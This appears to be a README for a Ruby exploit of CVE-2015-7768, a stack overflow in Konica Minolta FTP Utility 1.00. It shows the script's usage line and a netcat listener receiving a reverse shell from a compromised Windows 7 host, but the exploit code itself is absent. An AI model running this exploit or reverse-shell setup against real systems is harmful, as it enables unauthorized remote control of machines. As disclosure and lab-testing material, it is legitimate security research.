CVE-2015-7768 | Konica Minolta FTP Utility 1.00 - CWD Command SEH Overflow

Konica Minolata FTP Utility is an FTP server for Windows Applications.

Usage

ruby cve-2015-7768_exploit.rb <IP ADDRESS>

PoC

Listen for a reverse netcat connection on port 4444

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.109] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Program Files (x86)\KONICA MINOLTA\FTP Utility>

#Referances

• Original Payload: https://www.exploit-db.com/exploits/39215/ (in Python)
• Title: Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow.
• Software link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
• Software: Konica Minolta FTP Utility v1.0
• Tested: Windows 7 SP1 64bits